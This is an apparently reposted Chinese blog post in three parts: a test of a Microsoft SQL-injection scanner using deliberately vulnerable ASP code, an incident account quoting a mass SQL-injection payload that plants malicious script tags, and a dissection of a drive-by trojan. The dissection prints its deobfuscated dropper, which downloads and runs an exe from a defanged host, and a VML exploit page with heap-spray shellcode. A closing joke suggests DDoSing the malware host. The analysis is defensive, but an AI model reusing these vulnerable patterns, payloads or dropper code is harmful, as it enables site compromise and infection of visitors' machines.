**小測微軟SQL Injection漏洞掃瞄工具**
**& 游擊式的SQL Injection攻擊~~!!! &*
**有趣的木馬解剖~~!!!**
**微軟推出了可以掃瞄ASP原始碼是否--
--有SQL Injection漏洞的工具,我的第一個----念頭是,They really did it?
在我的認知裡,原始碼分析工具最有挑戰性--
--的部分在於要能順著程式的邏輯跑,而不單--
--只從字面上查,例如: Request("id")被指定--
--成變數id,傳給函數GetInfo(id),函數中再呼叫RunGetInfoSel(id),使用者輸入的參數經過--
--三手才被拿來組SQL指令字串(危險,勿學) !!
除非分析工具一路追進函數中,才能解析出--
--這裡隱含了SQL Injection的漏洞。
換著角度想,分析工具幾乎要有假裝自己在--
--執行程式碼的能力,才不容易發生疏漏。
高深的工程被做成免費的工具,當然是好事。
但我對它的犀利度存疑,於是下載了工具,
並寫了以下的程式來考驗它一下。
以下的ASP程式裡,我故意搞了三處--
--SQL Injection漏洞--
--(再次警告,錯誤示範,勿學),
用msscasi_asp.exe掃瞄: **
**
1: <%
2: Dim id, sql, cnStr
3: cnStr = "Provider=MSDAORA;Data Source=TTT;
User Id=xxx;Password=xxx;"
4: id = Request("id")
5: '以下寫法隱含SQL Injection漏洞,千萬不可學
6: sql = "SELECT * FROM X WHERE ID='" & id & "'"
7: RunSql sql
8: RunSql2 id
9:
10: Dim cnY,rsY
11: Set cnY=Server.CreateObject("ADODB.Connection")
12: cnY.Open cnStr
13: Set rsY=Server.CreateObject("ADODB.Recordset")
14: rsY.Open sql, cnY
15: Response.Write rsY("D")
16: rsY.Close
17: cnY.Close
18: Set cnY=Nothing
19:
20: Sub RunSql(sql)
21: Dim cnY,rsY
22: Set cnY=Server.CreateObject("ADODB.Connection")
23: cnY.Open
24: Set rsY=Server.CreateObject("ADODB.Recordset")
25: rsY.Open sql, cnY
26:
27: Response.Write rsY("D")
28: rsY.Close
29: cnY.Close
30: Set cnY=Nothing
31: End Sub
32:
33: Sub RunSql2(id)
34: Dim cnY,rsY
35: Set cnY=Server.CreateObject("ADODB.Connection")
36: cnY.Open
37: Set rsY=Server.CreateObject("ADODB.Recordset")
38: '以下寫法隱含SQL Injection漏洞,千萬不可學
39: sql = "SELECT * FROM X WHERE ID='" & id & "'"
40: rsY.Open sql, cnY
41: Response.Write rsY("D")
42: rsY.Close
43: cnY.Close
44: Set cnY=Nothing
45: End Sub
46: %> **
**執行結果不太理想,工具只抓到第14列一處,將有問題的SQL傳入函數執行,
或是將Request("id")傳入函數中再直接組SQL,都成了漏網之魚。
因此,若把第14列Remark起來,工具就找不出任何漏洞!! **
!!^結果讓人有些失望,但不意外! 要寫出可以"跑"VBScript程式的工具本來--
--就不是簡單的事,更何況它是免費工具。
大家在使用這類工具時,要把握一個原則: 有抓到表示有問題,沒抓到不代表沒問題^~!
***自動化工具可以偷懶省工,但總難免疏漏,腳踏實地逐一人工Review,
對我來說還是最可靠的方法。如果你不幸有幸在帶領團隊開發網站,
記得要在動手前再三強調SQL Injection知識的宣導,
可以省去事後補破網要花的龐大人力物力 *^^
***游擊式的SQL Injection攻擊~~~!!!
!!))?(如果你身為網站設計人員卻不知道什麼是---
---SQL Injection,建議你最好立即請假佯裝出國度假或--
--雙手打上石膏裝殘,無論如何,在搞懂什麼--
---是SQL Injection之前,務必暫停手邊的開發工作,
以免在系統埋下更多的炸彈,遺害千年! ~~~**
!!!*~這次遇到的狀況是發現網站上一些內容顯示有誤,
似乎是HTML格式不對。仔細確認,發現資料庫中的---
---所有varchar, nvarchar欄位資料後方都被"""
""""加上了</title></pre>><s cript src="
http: // 某個網站 / 某個.js **~== ?!!!
** "></s cript><!--
看到這種寫法,我立刻想起過去曾經解剖過的木馬。
順著它寫的js連過去檢查,證實了這是個掛馬的技倆沒錯。
因此,我有了初步推測:
- 所有DB的文字欄位都被加上相同的東西,應該是使用--
- --SQL指令造成的
- 加上掛馬用的js,目的是希望透過網站當媒介,
- 將木馬散播出去,因此對方知道這是Web主機用的DB。
- 綜合以上兩點,這應該是SQL Injection攻擊!!
既然是由Web進入的SQL Injection攻擊,理論上就應該--
--可以由IIS Log中看出端倪。不過由於被攻擊的時點不確定,
要搜索的範圍很大,加上我對SQL Injection手法有些過時的---
---錯誤認知,因此一開始花了不少時間卻亳無所獲。
這裡說說所謂"過時的錯誤認"知是什麼,讓大家引以為戒: ***`!!
***
- 有設定Custom Error Page就可以有效
- 阻擋SQL Injection攻擊?
錯! 可以擋住一般的業餘駭客手工破解,
- 但擋不住高手或自動工具。
- 駭客會在TextBox中輸入不同的值來嘗試攻擊,
- 方能不受QueryString長度的限制
錯! GET一樣可以漂亮完成工作,一開始只鎖定---
- ---POST的Log記錄顯然找錯了方向
- SQL Injection多半是一連串的反覆嚐試,因此可以--
- --在Log上找到明顯跡象?
錯! 這年頭自動工具都很快、狠、準,不會留下太多足跡。
- 在SQL Injection的嘗試過程中,常會---
- ---觸發HTTP Status 500 Error?
錯! 有一種遊擊式攻擊法,只會發射幾個特定的URL,
- 若僥倖成功,半個Error也不會留下。
Google了一下(關鍵字hao929.cn, sb.5252.ws, , ,
發現遇到相似攻擊的人很多,甚至有人把它定義成病毒,
我找到一個網站提供了頗為詳細的說明,發現它的原理是---
---利用sysobjects, syscolumns去列出所有的文字欄位,
非常合理。很幸運地,用sysobjects當成關鍵字,
我在IIS Log中找到了證據。
邪惡的傢伙利用QueryString加掛了一段Code,使整段SQL變成 :
select top 1 blahColC from blahTable
where blahColA=123;dEcLaRe @t vArChAr
(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR
cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,
sYsCoLuMnS b ...略... b.xTyPe=99 oR b.xTyPe=35
oR b.xTyPe=231 ...略... UpDaTe ['+@t+'] sEt
['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT
(0x3C2F74697 ...略... tAbLe_cursoR;-- order
by blahColB desc
其中看到它用了0x3C2F7469...這種寫法將</title>等文字---
---隱藏起來,同時還故意用了奇怪的大小寫組合讓SQL指令---
---不易閱讀。其中使用的手法如同在F-SECURE看到一樣,
但我所謂的"幸運",是指這回遇上的,並沒將核心的SQL語法--
--用Binary表示,否則會更難用Text工具直接從Log檔中找到線索。
除此之外,我發現同一個Client還發了另外兩個Request,
檢測目前的使用者是否為db_owner或sysadmin,也許是因為
有限定了連線DB的帳號權限(這點印證了我在文章中提到"權限
愈小傷害愈小"理論),在測試權限失敗後,就沒有後續動作了。
說不定如果用的帳號是sa,後面就開始跑DOS Command、
傳檔案、裝後門,光用想的就會讓人冒冷汗 !!!
【結論】
傳統印象中,SQL Injection要設法取得欄位名稱資訊,以偷出--
--資料或從事破壞為樂。但是要進行這些操作,通常得仰賴網站--
--傳回錯誤訊息的細節才能提供繼續深入的情報。近年來,
很多網站預設都已開啟Custom Error Page,讓手工操作入侵的---
---難度變高。不過,也開發現一些新的攻擊趨勢:
1. 駭客圈已流傳一些現成的SQL注入工具,裡面已針對ORACLE、SQL、MySQL、Access等各家資料庫寫好預設的多組測試Script,不需要耐性過人也不必做苦工,交給工具快速試過一輪即可輕鬆得手。再配合Google找尋獵物,亂槍打鳥之下,就算你的網站沒什麼名氣都可能中鏢。 2. 除了有心駭客設法要破解網站盜取資訊,還有一種---
---打遊擊式的SQL Injection攻擊,把全部的攻擊指令---
---濃縮成一行QueryString,四處亂試主機,成功就爽到,
失敗了不過浪費幾百個Bytes的頻寬,是穩賺不賠的生意。
而攻擊指令是假設資料庫的內容會被當成HTML顯示在網站上,
所以只要找出SQL資料庫中所有的varchar, nvarchar, ntext,
text欄位,在後方加上一段<script src=”用來載入---
--木馬的js檔案”>,就可以將網站當成感染源,達到廣種木馬的目標。
(這類木馬的原理可以參考先前發表過的"有趣的木馬解剖",
通常只要勤做Windows Update並避免---
----執行來路不明的程式就可避免)!!!******
**有趣的木馬解剖***~~!!
((((同事回報發生了疑似中毒事件,查看的結果,發現中毒的---
---機器用IE讀取網頁時(包含http://www.google.com.tw)
在HTML Source的最前端會被插入一列: (~~!!
* <script src="httq://www_blogo_tw/lan.js"></script>
(註: 為防止有害URL被誤觸,我做了一些變造處理)``````!!*
((由這個現象,可確定是中了惡意軟體--
--無誤,網管同事最後用AdWare SE
反間諜軟體將它掃除。但我好奇它的設計--
--原理,情不自禁又鑽了進去...
首先,lan.js長這副德行: (``````!!**
**
eval(function(p,a,c,k,e,d){e=function(c){return
(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.
fromCharCode(c+29):c.toString(36))};if(!''.replace
(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=
[function(e){return
... 省略 ...
d14=9://8.a.b/l.Y></c>")}N(e){2.7("<P M=\\"L\\"
J=9://8.a.b/K.Q></R"+"W>");2.7("<f U=\\"S:
T(\'9://8.a.b/l.Z?V=1\')\\"></f>")}}',62,70,
'||document|expires|var|...由很多英文單字以直線分隔,
部分省略... |asp|XMLHTTP|9E36|04FC2|00C|src|Create
Object|height|width'.split('|'),0,{})) **
**看起來,它將真正的程式碼中的所有英文單字先換成數字
及英文字母(例如紅字部分),而對照表就是綠色的直線分隔
單字清單,我猜split開來,2代表document,3代表expires,
4則是var,以此類推。本想自己寫Code解碼,後來心想,
這段Code本身就內建解碼器,才能還原回程式碼交給eval執行,
因此只加了幾個字,就讓原始程式現身了: **
**
window.status=""
var cookieString=document.cookie; var
start=cookieString.indexOf("tiantang=");
if(start!=-1){}else{
var expires=new Date();expires.setTime
(expires.getTime()+1*1*60*60*1000);
document.cookie="tiantang=funny;
expires="+expires.toGMTString();
try{
var downf=document.createElement("object");
downf.setAttribute("classid","clsid:
BD9"+"6C556-6"+"5A3-11D"+"0-983A-00C"+"04FC2"+"9E36");
str="Microsoft.XMLHTTP"
var O=downf.CreateObject(str,"");
document.write("<iframe width=0 height=0
src=httq://www_blogo_tw/lan.htm></iframe>")
}catch(e){
document.write("<script language=
\"javascript\" Src=
httq://www_blogo_tw/lan7.js></sc"+"ript>");
document.write("<DIV style=\"CURSOR:
url('httq://www_blogo_tw/lan.asp?id=1')\"></DIV>")
}
} **
**原來這個木馬的原理是這樣的,首先會檢查一個Cookie
(tiantang),看看有沒有被感染過,沒有感染過的人會--
--建立一顆RDS.DataSpace物件
({CLSID:BD96C556-****-****-****-00C04FC29E36},
它還故意將GUID拆成多個字串碎片逃避檢查),
試圖透過MS06-014安全漏洞植入木馬(這是目前火紅的木馬植入技術呢! **
**除此之外,它還會插入一個Iframe,理面類似lan.js,
用eval執行解碼過的程式碼如下,看來就是將木馬--
--植入使用者電腦的核心程式 **
**
function gn(n){
var number=Math.random()*n;return Math.
round(number)+'.exe' //亂數檔名,搞鬼時的基本技巧}
try{
aaa="obj";bbb="ect";ccc="Adodb.";ddd=
"Stream";eee="Microsoft.";
fff="XMLHTTP";lj='httq://www_blogo_tw/tt11.exe';
var df=document.createElement(aaa+bbb);
df.setAttribute("classid","clsid:
BD96C556-****-****-****-00C04FC29E36");var x=df.
CreateObject(eee+fff,"");var S=df.CreateObject
(ccc+ddd,"");S.type=1;x.open("GET",lj,0);
x.send();mz1=gn(1000);var F=df.CreateObject
("Scripting.FileSystemObject","");var
tmp=F.GetSpecialFolder(0);var t2;t2=F.BuildPath
(tmp,"rising"+mz1); //產生rising+亂數.exe的檔名 mz1=F.BuildPath(tmp,mz1);S.Open();S.Write
(x.responseBody);S.SaveToFile(mz1,2);
//將tt11.exe更名後存入
S.Close();F.MoveFile(mz1,t2);var Q=df.CreateObject
("Shell.Application","");exp1=F.BuildPath
(tmp+'\\system32','cmd.exe');Q.ShellExecute
(exp1,' /c '+t2,"","open",0) //啟動邪惡的程式 }catch(i){i=1} **
**如果以上的手法失敗(表示使用者做過Windows Update了),
則會端上另一道大菜,首先載入lan7.js,並把游標換成一個--
--特定的檔案,應該是想透過微軟前陣子被發現的游標漏洞入侵--
--使用者的電腦,至於lan7.js,則包含了以下的內容: **
**
function doit()
{ window.location.href="about:blank" }
var cookieString = document.cookie;
var start = cookieString.indexOf("tiantang1=");
if (start != -1)
{}
else
{
var expires = new Date();
expires.setTime(expires.getTime() + 1 *
24 * 60 * 60 * 1000);
document.cookie = "tiantang1=Ms07-004;expires="
+ expires.toGMTString();
document.write(unescape("%3C%68%74%6D%6C%20%78
%6D%6C%6E%73%3A%76%3D%22%75%72%6E%3A%73%63%68%
65%6D%61%73%2D%6D%69%63%72%6F%73%6F%66%74%2D%63%
6F%6D%3A%22%72%67%62%28%31%2C%30%2C%36%36%29%22%
20%62%61%63%6B%63%6F%6C%6F%72%3D%
...落落長,省略...
22%33%30%38%34%22%20%2F%3E%0D%0A%3C%76%2F%72%65%
63%6F%6C%6F%72%69%6E%66%6F%3E%0D%0A%3C%2F%62%6F%
64%79%3E%0D%0A%3C%2F%68%74%6D%6C%3E"));
window.setTimeout("doit()",5000);} **
**沒中過毒的人,會寫入Cookie(代表要進攻MS07-004漏洞?
這個Cookie真是大幅提高了程式碼的可讀性呀! 算是盜亦有道了),
先document.write出一段內容,接著在五秒後轉接空白頁-
-毁屍滅跡。再解開這個document.write,發現果然是--
--要鑽MS07-004的向量標記語言漏洞... 其內容如下: **
**<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<object id="VMLRender" classid="CLSID:10072CEC-
****-****-****-00A0C955B42E">
</object>
<style>
v\:*{behavior:url(#VMLRender);}
</style>
<script>
sh=unescape("%u9090"+"%u9090"+
"%u9090%u6090%u17eb%u645e%u30a1%u0000%u0500%u0800
%u0000%uf88b%u00b9"+
"%u0004%uf300%uffa4%ue8e0%uffe4%uffff%ua164%u0030
%u0000%u408b%u8b0c"+
... 又是落落長的資料碼,但這次是可執行的二進位碼,
要利用漏洞執行...
%u0000%u006a%u10ff%u0689%u4489%u1824%uecb9%u020f
%uff00%u5f01%u5a5e"+
"%u5b59%ue4b8%u020f%uff00%ue820%ufdda%uffff"+
"%u7468%u7074%u2F3A%u772F%u7777%u622E"+
"%u6F6C%u6F67%u742E%u2F77%u7474%u3131%u652E%u6578");
sz=sh.length*2;
npsz=0x1000000-(sz+0x38);
nps=unescape("%u0c0c%u0c0c");
while(nps.length*2<npsz)nps+=nps;
ihbc=(0x09000000-0x1000000)/0x1000000;
mm=new Array();
for(i=0;i<ihbc;i++)
{
mm[i]=nps+sh;
}
</script>
</head>
<BODY onload=window.status="">
<v:rect style="width:0pt;height:0pt"
fillcolor="white" >
<v:recolorinfo recolorstate="t"
numcolors="97612895">
<v:recolorinfoentry forecolor="rgb(1,0,66)"
tocolor="rgb(1,0,66)"
recolortype="3084" lbcolor="rgb(1,0,66)"
backcolor="rgb(1,0,66)"
fromcolor="rgb(1,0,66)" lbstyle ="3084"
bitmaptype="3084" />
<v:recolorinfoentry forecolor="rgb(1,0,66)"
tocolor="rgb(1,0,66)"
recolortype="3084" lbcolor="rgb(1,0,66)"
backcolor="rgb(1,0,66)"
fromcolor="rgb(1,0,66)" lbstyle ="3084"
bitmaptype="3084" />
<v:recolorinfoentry forecolor="rgb(1,0,66)"
tocolor="rgb(1,0,66)"
recolortype="3084" lbcolor="rgb(1,0,66)"
backcolor="rgb(1,0,66)"
fromcolor="rgb(1,0,66)" lbstyle ="3084"
bitmaptype="3084" />
<v/recolorinfo>
</body>
</html> **
**由這番解析,算是揭開了這隻木馬進攻的手法,
全都靠Windows的漏洞,包含了動態游標漏洞、
VML漏洞及RDS.DataSpace漏洞,而且還具備了多管齊下的能力。
這些漏洞可怕之處在於只要開個網頁就會中標,
即便沒有白目地亂開EXE、VBS、PIF,一樣會遭秧。
切記,Windows Update一定要保持在最新的狀態,方為明哲保身之道! **
**PS: 看來www. _blogo. _tw是個大毒窰,MIS人員---
---乾脆在DNS上把它禁掉算了。再不然,號召一些正義之士,
一起對它發動DDOS攻擊也不錯,可以名正言順地攻擊網站,
應該是件很爽的事吧!! (由此可以想見我是多麼想當駭客,哈!)^^**
**[-05-30更新]發現文中的CLSID會被防毒軟體誤判為有害,
故將其中三節改為****-****-****避開**
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
沒有留言:
張貼留言
if you like make fds, wellcome you here~~anytime***
my free place for everyones who want the good software,
come & download them~ wellcome!!